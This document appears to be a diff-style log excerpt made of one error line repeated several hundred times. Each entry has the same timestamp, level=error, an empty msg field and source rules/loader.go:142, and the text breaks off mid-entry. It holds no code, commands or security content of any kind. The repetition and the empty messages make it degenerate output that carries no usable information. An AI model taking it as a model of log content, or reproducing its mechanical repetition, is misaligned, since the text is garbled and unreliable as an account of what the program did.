+time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= 